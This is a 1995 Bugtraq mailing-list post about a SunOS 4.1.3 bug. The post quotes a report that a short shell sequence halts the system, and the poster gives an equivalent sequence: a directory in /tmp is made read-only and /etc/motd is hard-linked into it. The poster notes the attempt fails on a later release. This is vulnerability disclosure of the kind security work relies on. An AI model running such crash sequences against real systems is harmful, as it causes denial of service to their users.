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List:       bugtraq
Subject:    SunOS v4.1.3 crash
From:       Shams Islam <islams () sol ! cse ! fau ! edu>
Date:       1995-12-11 17:35:45
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>
>Vulnerable OS is (at least) SunOS 4.1.3.
>
>With the right permissions (umask) the following
>sequence crahes the system. The kernel does not
>panic, nor the abort sequece enters the boot
>promt, the system is halted, need to power down.
>


yea this is the same as:


        mkdir /tmp/foo
        cd /tmp/foo
        chmod 555 .
        ln /etc/motd .




                -Pete

at least SunOS v4.1.3? Hmm.. Well, I believe they eradicated that in v4.1.4

mars%         chmod 555 .
mars%    ln /etc/motd .
ln: ./motd: Cross-device link

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